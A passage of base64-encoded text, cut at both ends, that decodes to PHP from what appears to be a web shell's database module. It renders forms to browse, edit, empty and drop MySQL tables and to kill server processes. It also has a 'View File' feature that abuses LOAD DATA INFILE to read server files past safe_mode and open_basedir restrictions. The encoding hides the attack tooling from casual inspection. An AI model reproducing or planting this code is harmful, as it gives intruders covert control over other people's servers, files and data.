kbmFtZSA9ICRmaWVsZFsiRmllbGQiXTsKaWYgKGVtcHR5KCRzcWxfdGJsX2luc2VydF9xKSkgeyR2ID0gIiI7fQplY2hvICI8dHI+PHRkPjxiPiIuaHRtbHNwZWNpYWxjaGFycygkbmFtZSkuIjwvYj48L3RkPjx0ZD4iLiRmaWVsZFsiVHlwZSJdLiI8L3RkPjx0ZD48c2VsZWN0IG5hbWU9XCJzcWxfdGJsX2luc2VydF9mdW5jdHNbIi5odG1sc3BlY2lhbGNoYXJzKCRuYW1lKS4iXVwiPjxvcHRpb24gdmFsdWU9XCJcIj48L29wdGlvbj48b3B0aW9uPlBBU1NXT1JEPC9vcHRpb24+PG9wdGlvbj5NRDU8L29wdGlvbj48b3B0aW9uPkVOQ1JZUFQ8L29wdGlvbj48b3B0aW9uPkFTQ0lJPC9vcHRpb24+PG9wdGlvbj5DSEFSPC9vcHRpb24+PG9wdGlvbj5SQU5EPC9vcHRpb24+PG9wdGlvbj5MQVNUX0lOU0VSVF9JRDwvb3B0aW9uPjxvcHRpb24+Q09VTlQ8L29wdGlvbj48b3B0aW9uPkFWRzwvb3B0aW9uPjxvcHRpb24+U1VNPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cIlwiPi0tLS0tLS0tPC9vcHRpb24+PG9wdGlvbj5TT1VOREVYPC9vcHRpb24+PG9wdGlvbj5MQ0FTRTwvb3B0aW9uPjxvcHRpb24+VUNBU0U8L29wdGlvbj48b3B0aW9uPk5PVzwvb3B0aW9uPjxvcHRpb24+Q1VSREFURTwvb3B0aW9uPjxvcHRpb24+Q1VSVElNRTwvb3B0aW9uPjxvcHRpb24+RlJPTV9EQVlTPC9vcHRpb24+PG9wdGlvbj5GUk9NX1VOSVhUSU1FPC9vcHRpb24+PG9wdGlvbj5QRVJJT0RfQUREPC9vcHRpb24+PG9wdGlvbj5QRVJJT0RfRElGRjwvb3B0aW9uPjxvcHRpb24+VE9fREFZUzwvb3B0aW9uPjxvcHRpb24+VU5JWF9USU1FU1RBTVA8L29wdGlvbj48b3B0aW9uPlVTRVI8L29wdGlvbj48b3B0aW9uPldFRUtEQVk8L29wdGlvbj48b3B0aW9uPkNPTkNBVDwvb3B0aW9uPjwvc2VsZWN0PjwvdGQ+PHRkPjxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxfdGJsX2luc2VydFsiLmh0bWxzcGVjaWFsY2hhcnMoJG5hbWUpLiJdXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHZhbHVlc1skbmFtZV0pLiJcIiBzaXplPTUwPjwvdGQ+PC90cj4iOwokaSsrOwogIH0KICBlY2hvICI8L3RhYmxlPjxicj4iOwogIGVjaG8gIjxpbnB1dCB0eXBlPVwicmFkaW9cIiBuYW1lPVwic3FsX3RibF9pbnNlcnRfcmFkaW9cIiB2YWx1ZT1cIjFcIiI7IGlmIChlbXB0eSgkc3FsX3RibF9pbnNlcnRfcSkpIHtlY2hvICIgY2hlY2tlZCI7fSBlY2hvICI+PGI+SW5zZXJ0IGFzIG5ldyByb3c8L2I+IjsKICBpZiAoIWVtcHR5KCRzcWxfdGJsX2luc2VydF9xKSkge2VjaG8gIiBvciA8aW5wdXQgdHlwZT1cInJhZGlvXCIgbmFtZT1cInNxbF90YmxfaW5zZXJ0X3JhZGlvXCIgdmFsdWU9XCIyXCIgY2hlY2tlZD48Yj5TYXZlPC9iPiI7IGVjaG8gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF90YmxfaW5zZXJ0X3FcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3RibF9pbnNlcnRfcSkuIlwiPiI7fQogIGVjaG8gIjxicj48YnI+PGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiQ29uZmlybVwiPjwvZm9ybT4iOwp9CiAgfQogIGlmICgkc3FsX3RibF94ID09ICJicm93c2UiKSB7CiRzcWxfdGJsX2xzID0gYWJzKCRzcWxfdGJsX2xzKTsKJHNxbF90YmxfbGUgPSBhYnMoJHNxbF90YmxfbGUpOwplY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPiI7CmVjaG8gIjxiPlBhZ2U6IDwvYj4iOwokYiA9IDA7CmZvcigkaT0wOyRpPCRudW1wYWdlczskaSsrKSB7CiAgaWYgKCgkaSokcGVycGFnZSAhPSAkc3FsX3RibF9scykgb3IgKCRpKiRwZXJwYWdlKyRwZXJwYWdlICE9ICRzcWxfdGJsX2xlKSkge2VjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkuIiZzcWxfb3JkZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfb3JkZXIpLiImc3FsX3RibF9scz0iLigkaSokcGVycGFnZSkuIiZzcWxfdGJsX2xlPSIuKCRpKiRwZXJwYWdlKyRwZXJwYWdlKS4iXCI+PHU+Ijt9CiAgZWNobyAkaTsKICBpZiAoKCRpKiRwZXJwYWdlICE9ICRzcWxfdGJsX2xzKSBvciAoJGkqJHBlcnBhZ2UrJHBlcnBhZ2UgIT0gJHNxbF90YmxfbGUpKSB7ZWNobyAiPC91PjwvYT4iO30KICBpZiAoKCRpLzMwID09IHJvdW5kKCRpLzMwKSkgYW5kICgkaSA+IDApKSB7ZWNobyAiPGJyPiI7fQogIGVsc2UgeyBlY2hvICIgIjsgfQp9CmlmICgkaSA9PSAwKSB7ZWNobyAiZW1wdHkiO30KZWNobyAiPGJyPjxicj48Zm9ybSBtZXRob2Q9XCJHRVRcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ4XCIgdmFsdWU9XCJzcWxcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfZGJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2xvZ2luXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9wYXNzd2RcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9zZXJ2ZXJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9wb3J0XCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3RibFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfdGJsKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX29yZGVyXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9vcmRlcikuIlwiPjxiPkZyb206PC9iPiA8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic3FsX3RibF9sc1wiIHZhbHVlPVwiIi4kc3FsX3RibF9scy4iXCI+IDxiPlRvOjwvYj4gPGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNxbF90YmxfbGVcIiB2YWx1ZT1cIiIuJHNxbF90YmxfbGUuIlwiPiA8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiVmlld1wiPjwvZm9ybT4iOwplY2hvICI8YnI+PGZvcm0gbWV0aG9kPVwiUE9TVFwiPlxuIjsKZWNobyAiPHRhYmxlIGNsYXNzPSd0dWInPjx0cj4iOwplY2hvICI8dGg+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJib3hyb3dfYWxsXCIgdmFsdWU9XCIxXCI+PC90aD4iOwpmb3IgKCRpPTA7JGk8bXlzcWxfbnVtX2ZpZWxkcygkcmVzdWx0KTskaSsrKSB7CiAgJHYgPSBteXNxbF9maWVsZF9uYW1lKCRyZXN1bHQsJGkpOwogIGlmICgkZVswXSA9PSAiYSIpIHskcyA9ICJkIjsgJG0gPSAiYXNjIjt9CiAgZWxzZSB7JHMgPSAiYSI7ICRtID0gImRlc2MiO30KICBlY2hvICI8dGg+IjsKICBpZiAoZW1wdHkoJGVbMF0pKSB7JGVbMF0gPSAiYSI7fQogIGlmIChAJGVbMV0gIT0gJHYpIHtlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii4kc3FsX3RibC4iJnNxbF90YmxfbGU9Ii4kc3FsX3RibF9sZS4iJnNxbF90YmxfbHM9Ii4kc3FsX3RibF9scy4iJnNxbF9vcmRlcj0iLiRlWzBdLiIlMjAiLiR2LiJcIj48Yj4iLiR2LiI8L2I+PC9hPiI7fQogIGVsc2Uge2VjaG8gIjxiPiIuJHYuIjwvYj48YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii4kc3FsX3RibC4iJnNxbF90YmxfbGU9Ii4kc3FsX3RibF9sZS4iJnNxbF90YmxfbHM9Ii4kc3FsX3RibF9scy4iJnNxbF9vcmRlcj0iLiRzLiIlMjAiLiR2LiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1zb3J0XyIuJG0uIlwiIGFsdD1cIiIuJG0uIlwiPjwvYT4iO30KICBlY2hvICI8L3RoPiI7Cn0KZWNobyAiPHRoPjxmb250IGNvbG9yPVwiIzAwRkYwMFwiPjxiPmFjdGlvbjwvYj48L2ZvbnQ+PC90aD4iOwplY2hvICI8L3RyPiI7CndoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfQVNTT0MpKSB7CiAgZWNobyAiPHRyPiI7CiAgJHcgPSAiIjsKICAkaSA9IDA7CiAgZm9yZWFjaCAoJHJvdyBhcyAkaz0+JHYpIHsKJG5hbWUgPSBteXNxbF9maWVsZF9uYW1lKCRyZXN1bHQsJGkpOwokdyAuPSAiIGAiLiRuYW1lLiJgID0gJyIuYWRkc2xhc2hlcygkdikuIicgQU5EIjsgJGkrKzsKICB9CiAgaWYgKGNvdW50KCRyb3cpID4gMCkgeyAkdyA9IHN1YnN0cigkdywwLHN0cmxlbigkdyktMyk7IH0KICBlY2hvICI8dGQgYWxpZ249J2NlbnRlcicgc3R5bGU9J3BhZGRpbmc6MHB4Oyc+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJib3hyb3dbXVwiIHZhbHVlPVwiIi4kdy4iXCI+PC90ZD4iOwogICRpID0gMDsKICBmb3JlYWNoICgkcm93IGFzICRrPT4kdikgewokdiA9IGh0bWxzcGVjaWFsY2hhcnMoJHYpOwppZiAoJHYgPT0gIiIpIHsgJHYgPSAiPGZvbnQgY29sb3I9XCIjMDBGRjAwXCI+TlVMTDwvZm9udD4iOyB9CmVjaG8gIjx0ZD4iLiR2LiI8L3RkPiI7CiRpKys7CiAgfQogIGVjaG8gIjx0ZD4iOwogIGVjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3g9cXVlcnkmc3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkuIiZzcWxfdGJsX2xzPSIuJHNxbF90YmxfbHMuIiZzcWxfdGJsX2xlPSIuJHNxbF90YmxfbGUuIiZzcWxfcXVlcnk9Ii51cmxlbmNvZGUoIkRFTEVURSBGUk9NIGAiLiRzcWxfdGJsLiJgIFdIRVJFIi4kdy4iIExJTUlUIDE7IikuIlwiPkRlbGV0ZTwvYT4iOwogIGVjaG8gIiZuYnNwO3wmbmJzcDsiOwogIGVjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibF94PWluc2VydCZzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJnNxbF90YmxfbHM9Ii4kc3FsX3RibF9scy4iJnNxbF90YmxfbGU9Ii4kc3FsX3RibF9sZS4iJnNxbF90YmxfaW5zZXJ0X3E9Ii51cmxlbmNvZGUoJHcpLiJcIj5FZGl0PC9hPiAiOwogIGVjaG8gIjwvdGQ+IjsKICBlY2hvICI8L3RyPiI7Cn0KbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7CmVjaG8gIjwvdGFibGU+PGhyIHNpemU9XCIxXCIgbm9zaGFkZT48cCBhbGlnbj1cImxlZnRcIj48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIvPiA8c2VsZWN0IG5hbWU9XCJzcWxfeFwiPiI7CmVjaG8gIjxvcHRpb24gdmFsdWU9XCJcIj5XaXRoIHNlbGVjdGVkOjwvb3B0aW9uPiI7CmVjaG8gIjxvcHRpb24gdmFsdWU9XCJkZWxldGVyb3dcIj5EZWxldGU8L29wdGlvbj4iOwplY2hvICI8L3NlbGVjdD4gPGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiQ29uZmlybVwiPjwvZm9ybT48L3A+IjsKfQogfQogZWxzZSB7CiRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0hPVyBUQUJMRSBTVEFUVVMiLCAkc3FsX3NvY2spOwppZiAoISRyZXN1bHQpIHsgZWNobyBteXNxbF9zbWFydGVycm9yKCk7IH0KZWxzZSB7CmVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+Cjx0YWJsZSBjbGFzcz0idHViIj4KPHRyPjx0aD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9ImJveHRibF9hbGwiIHZhbHVlPSIxIj48L3RoPjx0aD5UYWJsZTwvdGg+PHRoPlJvd3M8L3RoPjx0aD5FbmdpbmU8L3RoPjx0aD5DcmVhdGVkPC90aD48dGg+TW9kaWZpZWQ8L3RoPjx0aD5TaXplPC90aD48dGg+QWN0aW9uPC90aD48L3RyPic7CiAkaSA9IDA7CiAkdHNpemUgPSAkdHJvd3MgPSAwOwogd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9BU1NPQykpIHsKJHRzaXplICs9ICRyb3dbIkRhdGFfbGVuZ3RoIl07CiR0cm93cyArPSAkcm93WyJSb3dzIl07CiRzaXplID0gdmlld19zaXplKCRyb3dbIkRhdGFfbGVuZ3RoIl0pOwplY2hvJzx0cj4KPHRkIGFsaWduPSJjZW50ZXIiIHN0eWxlPSJwYWRkaW5nOjBweDsiPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iYm94dGJsW10iIHZhbHVlPSInLiRyb3dbIk5hbWUiXS4nIj48L3RkPgo8dGQ+PGEgaHJlZj0iJy4kc3FsX3N1cmwuJ3NxbF90Ymw9Jy51cmxlbmNvZGUoJHJvd1siTmFtZSJdKS4nIj48Yj4nLiRyb3dbIk5hbWUiXS4nPC9iPjwvYT48L3RkPgo8dGQ+Jy4kcm93WyJSb3dzIl0uJzwvdGQ+PHRkPicuJHJvd1siRW5naW5lIl0uJzwvdGQ+PHRkPicuJHJvd1siQ3JlYXRlX3RpbWUiXS4nPC90ZD48dGQ+Jy4kcm93WyJVcGRhdGVfdGltZSJdLic8L3RkPjx0ZD4nLiRzaXplLic8L3RkPgo8dGQ+PGEgaHJlZj0iJy4kc3FsX3N1cmwuJ3NxbF94PXF1ZXJ5JnNxbF9xdWVyeT0nLnVybGVuY29kZSgiREVMRVRFIEZST00gYCIuJHJvd1siTmFtZSJdLiJgIikuJyI+RW1wdHk8L2E+Jm5ic3A7fCZuYnNwOzxhIGhyZWY9IicuJHNxbF9zdXJsLidzcWxfeD1xdWVyeSZzcWxfcXVlcnk9Jy51cmxlbmNvZGUoIkRST1AgVEFCTEUgYCIuJHJvd1siTmFtZSJdLiJgIikuJyI+RHJvcDwvYT4mbmJzcDt8Jm5ic3A7PGEgaHJlZj0iJy4kc3FsX3N1cmwuJ3NxbF90YmxfeD1pbnNlcnQmc3FsX3RibD0nLiRyb3dbIk5hbWUiXS4nIj5JbnNlcnQ8L2E+PC90ZD4KPC90cj4nOwokaSsrOwogfQogZWNobyAiXHRcdDx0cj5cbiIuCiJcdFx0PHRoPis8L3RoPjx0aD4kaSB0YWJsZShzKTwvdGg+PHRoPiR0cm93czwvdGg+PHRoPiRyb3dbMV08L3RoPjx0aD4kcm93WzEwXTwvdGg+PHRoPiRyb3dbMTFdPC90aD48dGg+Ii52aWV3X3NpemUoJHRzaXplKS4iPC90aD48dGg+PC90aD5cbiI7CmVjaG8nPC90cj4KPC90YWJsZT4KPGRpdiBhbGlnbj0icmlnaHQiPgo8c2VsZWN0IGNsYXNzPSJpbnB1dHoiIG5hbWU9InNxbF94Ij4KPG9wdGlvbiB2YWx1ZT0iIj5XaXRoIHNlbGVjdGVkOjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSJ0Ymxkcm9wIj5Ecm9wPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9InRibGVtcHR5Ij5FbXB0eTwvb3B0aW9uPiI7CjxvcHRpb24gdmFsdWU9InRibGR1bXAiPkR1bXA8L29wdGlvbj4iOwo8b3B0aW9uIHZhbHVlPSJ0YmxjaGVjayI+Q2hlY2sgdGFibGU8L29wdGlvbj4iOwo8b3B0aW9uIHZhbHVlPSJ0YmxvcHRpbWl6ZSI+T3B0aW1pemUgdGFibGU8L29wdGlvbj4iOwo8b3B0aW9uIHZhbHVlPSJ0YmxyZXBhaXIiPlJlcGFpciB0YWJsZTwvb3B0aW9uPiI7CjxvcHRpb24gdmFsdWU9InRibGFuYWx5emUiPkFuYWx5emUgdGFibGU8L29wdGlvbj4iOwo8L3NlbGVjdD4KPGlucHV0IGNsYXNzPSJpbnB1dHpidXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkNvbmZpcm0iPgo8L2Rpdj4KPC9mb3JtPic7CiBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsKfQogfQp9CiB9Cn0KZWxzZSB7CiR4cyA9IGFycmF5KCIiLCJuZXdkYiIsInNlcnZlcnN0YXR1cyIsInNlcnZlcnZhcnMiLCJwcm9jZXNzZXMiLCJnZXRmaWxlIik7CmlmIChpbl9hcnJheSgkc3FsX3gsJHhzKSkgewplY2hvICc8dGFibGUgY2xhc3M9InRhYiI+Cjx0cj4KPHRkIHN0eWxlPSJib3JkZXI6MXB4IHNvbGlkICMzMzMzMzM7cGFkZGluZzozcHg7Ij48Yj5DcmVhdGUgbmV3IERCOjwvYj4KPGZvcm0gYWN0aW9uPSInLiRzdXJsLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ4IiB2YWx1ZT0ic3FsIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3giIHZhbHVlPSJuZXdkYiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9sb2dpbiIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4nIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9zZXJ2ZXIiIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcG9ydCIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiciPgo8aW5wdXQgY2xhc3M9ImlucHV0eiIgdHlwZT0idGV4dCIgbmFtZT0ic3FsX25ld2RiIiBzaXplPSIyMCI+CjxpbnB1dCBjbGFzcz0iaW5wdXR6YnV0IiAgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQ3JlYXRlIj4KPC9mb3JtPgo8L3RkPgo8dGQgc3R5bGU9ImJvcmRlcjoxcHggc29saWQgIzMzMzMzMztwYWRkaW5nOjNweDsiPjxiPlZpZXcgRmlsZTo8L2I+Cjxmb3JtIGFjdGlvbj0iJy4kc3VybC4nIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ieCIgdmFsdWU9InNxbCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF94IiB2YWx1ZT0iZ2V0ZmlsZSI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9sb2dpbiIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4nIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9zZXJ2ZXIiIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcG9ydCIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiciPgo8aW5wdXQgY2xhc3M9ImlucHV0eiIgdHlwZT0idGV4dCIgbmFtZT0ic3FsX2dldGZpbGUiIHNpemU9IjMwIiB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZ2V0ZmlsZSkuJyI+CjxpbnB1dCBjbGFzcz0iaW5wdXR6YnV0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJHZXQiPgo8L2Zvcm0+CjwvdGQ+CjwvdHI+CjwvdGFibGU+JzsKfQppZiAoIWVtcHR5KCRzcWxfeCkpIHsKIGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+IjsKIGlmICgkc3FsX3ggPT0gIm5ld2RiIikgewplY2hvICI8Yj4iOwppZiAoKG15c3FsX2NyZWF0ZV9kYiAoJHNxbF9uZXdkYikpIGFuZCAoIWVtcHR5KCRzcWxfbmV3ZGIpKSkge2VjaG8gIkRCIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbmV3ZGIpLiJcIiBoYXMgYmVlbiBjcmVhdGVkIHdpdGggc3VjY2VzcyE8L2I+PGJyPiI7fQplbHNlIHtlY2hvICJDYW4ndCBjcmVhdGUgREIgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9uZXdkYikuIlwiLjxicj5SZWFzb246PC9iPiAiLm15c3FsX3NtYXJ0ZXJyb3IoKTt9CiB9CiBpZiAoJHNxbF94ID09ICJzZXJ2ZXJzdGF0dXMiKSB7CiRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0hPVyBTVEFUVVMiLCAkc3FsX3NvY2spOwplY2hvICI8Y2VudGVyPjxiPlNlcnZlciBzdGF0dXMgdmFyaWFibGVzOjwvYj48YnI+PGJyPiI7CmVjaG8gIjx0YWJsZSBjbGFzcz0ndHViJz48dGg+PGI+TmFtZTwvYj48L3RoPjx0aD48Yj5WYWx1ZTwvYj48L3RoPjwvdHI+IjsKd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9OVU0pKSB7ZWNobyAiPHRyPjx0ZD4iLiRyb3dbMF0uIjwvdGQ+PHRkPiIuJHJvd1sxXS4iPC90ZD48L3RyPiI7fQplY2hvICI8L3RhYmxlPjwvY2VudGVyPiI7Cm15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOwogfQogaWYgKCRzcWxfeCA9PSAic2VydmVydmFycyIpIHsKJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTSE9XIFZBUklBQkxFUyIsICRzcWxfc29jayk7CmVjaG8gIjxjZW50ZXI+PGI+U2VydmVyIHZhcmlhYmxlczo8L2I+PGJyPjxicj4iOwplY2hvICI8dGFibGUgY2xhc3M9J3R1Yic+PHRoPjxiPk5hbWU8L2I+PC90aD48dGg+PGI+VmFsdWU8L2I+PC90aD48L3RyPiI7CndoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfTlVNKSkge2VjaG8gIjx0cj48dGQ+Ii4kcm93WzBdLiI8L3RkPjx0ZD4iLiRyb3dbMV0uIjwvdGQ+PC90cj4iO30KZWNobyAiPC90YWJsZT4iOwpteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsKIH0KIGlmICgkc3FsX3ggPT0gInByb2Nlc3NlcyIpIHsKaWYgKCFlbXB0eSgka2lsbCkpIHsKICRxdWVyeSA9ICJLSUxMICIuJGtpbGwuIjsiOwogJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRxdWVyeSwgJHNxbF9zb2NrKTsKIGVjaG8gIjxiPlByb2Nlc3MgIyIuJGtpbGwuIiB3YXMga2lsbGVkLjwvYj4iOwp9CiRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0hPVyBQUk9DRVNTTElTVCIsICRzcWxfc29jayk7CmVjaG8gIjxjZW50ZXI+PGI+UHJvY2Vzc2VzOjwvYj48YnI+PGJyPiI7CmVjaG8gIjx0YWJsZSBjbGFzcz0ndHViJz48dGg+PGI+SUQ8L2I+PC90aD48dGg+PGI+VVNFUjwvYj48L3RoPjx0aD48Yj5IT1NUPC9iPjwvdGg+PHRoPjxiPkRCPC9iPjwvdGg+PHRoPjxiPkNPTU1BTkQ8L2I+PC90aD48dGg+PGI+VElNRTwvYj48L3RoPjx0aD48Yj5TVEFURTwvYj48L3RoPjx0aD48Yj5JTkZPPC9iPjwvdGg+PHRoPjxiPkFjdGlvbjwvYj48L3RoPjwvdHI+IjsKd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9OVU0pKSB7IGVjaG8gIjx0cj48dGQ+Ii4kcm93WzBdLiI8L3RkPjx0ZD4iLiRyb3dbMV0uIjwvdGQ+PHRkPiIuJHJvd1syXS4iPC90ZD48dGQ+Ii4kcm93WzNdLiI8L3RkPjx0ZD4iLiRyb3dbNF0uIjwvdGQ+PHRkPiIuJHJvd1s1XS4iPC90ZD48dGQ+Ii4kcm93WzZdLiI8L3RkPjx0ZD4iLiRyb3dbN10uIjwvdGQ+PHRkPjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3g9cHJvY2Vzc2VzJmtpbGw9Ii4kcm93WzBdLiJcIj48dT5LaWxsPC91PjwvYT48L3RkPjwvdHI+Ijt9CmVjaG8gIjwvdGFibGU+IjsKbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7CiB9CiBpZiAoJHNxbF94ID09ICJnZXRmaWxlIikgewokdG1wZGIgPSAkc3FsX2xvZ2luLiJfdG1wZGIiOwokc2VsZWN0ID0gbXlzcWxfc2VsZWN0X2RiKCR0bXBkYik7CmlmICghJHNlbGVjdCkge215c3FsX2NyZWF0ZV9kYigkdG1wZGIpOyAkc2VsZWN0ID0gbXlzcWxfc2VsZWN0X2RiKCR0bXBkYik7ICRjcmVhdGVkID0gISEkc2VsZWN0O30KaWYgKCRzZWxlY3QpIHsKICRjcmVhdGVkID0gRkFMU0U7CiBteXNxbF9xdWVyeSgiQ1JFQVRFIFRBQkxFIGB0bXBfZmlsZWAgKCBgVmlld2luZyB0aGUgZmlsZSBpbiBzYWZlX21vZGUrb3Blbl9iYXNlZGlyYCBMT05HQkxPQiBOT1QgTlVMTCApOyIpOwogbXlzcWxfcXVlcnkoIkxPQUQgREFUQSBJTkZJTEUgXCIiLmFkZHNsYXNoZXMoJHNxbF9nZXRmaWxlKS4iXCIgSU5UTyBUQUJMRSB0bXBfZmlsZSIpOwogJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NIHRtcF9maWxlOyIpOwogaWYgKCEkcmVzdWx0KSB7ZWNobyAiPGI+RXJyb3IgaW4gcmVhZGluZyBmaWxlIChwZXJtaXNpb24gZGVuaWVkKSE8L2I+Ijt9CiBlbHNlIHsKZm9yICgkaT0wOyRpPG15c3FsX251bV9maWVsZHMoJHJlc3VsdCk7JGkrKykgeyAkbmFtZSA9IG15c3FsX2ZpZWxkX25hbWUoJHJlc3VsdCwkaSk7IH0KJGYgPSAiIjsKd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9BU1NPQykpIHsgJGYgLj0gam9pbiAoIlxyXG4iLCRyb3cpOyB9CmlmIChlbXB0eSgkZikpIHtlY2hvICI8Yj5GaWxlIFwiIi4kc3FsX2dldGZpbGUuIlwiIGRvZXMgbm90IGV4aXN0cyBvciBlbXB0eSE8L2I+PGJyPiI7fQplbHNlIHtlY2hvICI8Yj5GaWxlIFwiIi4kc3FsX2dldGZpbGUuIlwiOjwvYj48YnI+Ii5ubDJicihodG1sc3BlY2lhbGNoYXJzKCRmKSkuIjxicj4iO30KbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7Cm15c3FsX3F1ZXJ5KCJEUk9QIFRBQkxFIHRtcF9maWxlOyIpOwogfQp9Cm